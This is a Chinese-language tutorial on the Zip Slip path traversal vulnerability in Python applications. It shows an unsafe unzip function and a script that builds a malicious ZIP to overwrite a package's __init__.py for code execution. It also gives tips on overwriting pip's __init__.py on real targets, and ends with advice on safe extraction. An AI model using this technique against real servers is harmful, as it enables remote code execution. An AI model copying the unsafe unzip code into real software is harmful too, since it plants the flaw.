Python 中负责解压压缩文件的代码实现上并不安全,存在目录遍历漏洞,攻击者可以利用该漏洞覆盖**__init__.py**文件,实现任意代码执行。

在PHP中,实现代码执行最为简单的一种方式就是利用PHP中不安全的文件上传处理逻辑。如果你可以欺骗文件上传逻辑,上传任意PHP文件,那么你就可以执行任意PHP代码。

然而,如果我们面对的是使用Go、Node.js、Python、Ruby等编写的现代Web框架时,即使我们把.py或者.js文件成功上传到服务器上,通过URL请求这些文件通常并不会返回任何结果,即使我们可以通过URL来访问这些资源,也不会触发任何代码执行动作

但是我们可以通过构造压缩包实现代码执行,精心构造的压缩文件虽然看起来人畜无害,但如果负责解压此类文件的代码本身并不安全,那么这种文件就会带来安全风险。

首先我们来了解一下 Zip Slip 漏洞

ZIP 路径穿越漏洞

许多应用会从用户上传的 ZIP 压缩包中解压文件。但 ZIP 文件内可以包含 伪造路径,如:

1
../../../../tmp/evil.py

如果程序在解压时不验证路径安全性,就可能将这些文件 写到任意路径 —— 例如写到 ~/.bashrc/var/www/html/、应用目录、配置目录等

这称为 Zip Slip(路径穿越)漏洞

→ 当恶意 ZIP 中包含 Python 文件、shell 脚本、配置文件等时,就可能被不慎执行,从而导致 远程代码执行(RCE)

命令执行

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def unzip(zip_file, extraction_path):
"""
code to unzip files
"""
print "[INFO] Unzipping"
try:
files = []
with zipfile.ZipFile(zip_file, "r") as z:
for fileinfo in z.infolist():
filename = fileinfo.filename
dat = z.open(filename, "r")
files.append(filename)
outfile = os.path.join(extraction_path, filename)
if not os.path.exists(os.path.dirname(outfile)):
try:
os.makedirs(os.path.dirname(outfile))
except OSError as exc: # Guard against race condition
if exc.errno != errno.EEXIST:
print "n[WARN] OS Error: Race Condition"
if not outfile.endswith("/"):
with io.open(outfile, mode='wb') as f:
f.write(dat.read())
dat.close()
return files
except Exception as e:
print "[ERROR] Unzipping Error" + str(e)

这段 python 代码非常简单,可以解压 zip 文件并返回归档文件中包含的文件列表。文件上传操作结束后,服务器会收到 zip 文件,然后将 zip 文件发送给 unzip() 进行解压。

1
outfile = os.path.join(extraction_path, filename)

通过这一句可以看出来用户可以控制其中的 filename 变量,如果我们把 filename 的值设为../../foo.py,运行结果如下

1
2
3
4
5
6
7
8
9
>>> import os
>>> extraction_path = "/home/kali/webapp/uploads/"
>>> filename = "../../foo.py"
>>> outfile = os.path.join(extraction_path, filename)
>>> outfile
'/home/kali/webapp/uploads/../../foo.py'
>>> open(outfile, "w").write("print 'test'")
>>> open("/home/kali/foo.py", "r").read()
"print 'test'"

利用路径遍历漏洞,我们成功将文件写入了/home/kali目录下

而实现代码执行,我们需要利用的是 Python 中的__init__.py

Python 官方文档:

如果某个目录想成为Python中的包,那么该目录中就需要包含__init__.py文件,这样就能避免模块搜索时把目录名为常用字符串(如string)的那些目录包含进来。在最简单的情况下,init.py可以是个空文件,也可以用来执行包中的初始化代码或者设置__all__变量,稍后会继续描述。

假设 Web 应用将某个目录当成 Python 包,如果我们使用任意 Python 代码覆盖该目录中的 init.py 文件,当目标应用导入这个包时,就会执行我们的代码。通常为了顺利执行代码,需要重启服务器,在实战中一般只能被动等待蓝队进行重启操作,但是如果是启用了 dubug 功能的 flask 服务器,只要 Python 文件发生改动,服务器就会重启

示例 Payload

1
2
3
4
5
6
import zipfile
z_info = zipfile.ZipInfo(r"../config/__init__.py")
z_file = zipfile.ZipFile("/home/kali/Desktop/bad.zip", mode="w")
z_file.writestr(z_info, "print 'test'")
z_info.external_attr = 0777 << 16L
z_file.close()

因为主功能文件 server.py 会从 config 目录中导入 settings.py 文件,这意味着如果我们可以将代码写入到config/__init__.py,所以我们最终构造了一个这样的 Payload

z_info.external_attr = 0777 << 16L这条语句会将文件权限设为所有人可读可写权限

上传成功后,Flask 应用就会开始重载,然后服务器上的控制台会打印出“test”字符串

实战中的利用

一个问题就是如果不是 debug 模式下的 flask 服务器,我们要一直等待服务器重启,另一个问题是我们不能每次都知道目标应用使用的包的具体路径,如果目标使用的是开源项目,我们能很轻松的获取其目录信息;如果是闭源应用,我们可以猜测比较常见的包目录,如conf、config、settings、utils、urls、view、tests、scripts、controllers、modules、models、admin、login等。这些包目录经常出现在某些Python Web框架中,如Django、Flask、Pyramid、Tornado、CherryPy、web2py等

换个思路,如果目标 Web 应用运行在 Ubuntu Linux 之中,这时内置的Python包位于/home/<user>/.local/lib/python2.7/site-packages/pip目录中

假设目标应用运行在用户目录中,那么我们就可以构造类似../../.local/lib/python2.7/site-packages/pip/__init__.py之类的文件名

如果目标应用使用的是 virtualenv,假设 virtualenv 的目录为 venv,那么我们就可以使用类似../venv/lib/python2.7/site-packages/pip/__init__.py之类的文件名

这样处理后 pip 会受到影响,当下次服务器运行 pip 时就会执行我们的代码

漏洞预防

为了防御这个漏洞,你需要使用ZipFile.extract()来解压文件

理论上也可以手动检查目录是否违法,但是太麻烦了,不如用ZipFile.extract()

如果待处理文件使用的是绝对路径,那么路径中包含的驱动、UNC字符以及前缀(后缀)斜杠会被过滤掉,例如,在Unix上,///foo/bar经过处理后会变为foo/bar,在Windows上,C:foobar经过处理后会变为foobar。文件名中包含的所有“..”字符会被移除,例如,../../foo../../ba..r会变成foo../ba..r。在Windows上的非法字符(:、<、>、|、”、?、以及*)会被替换为下划线(_)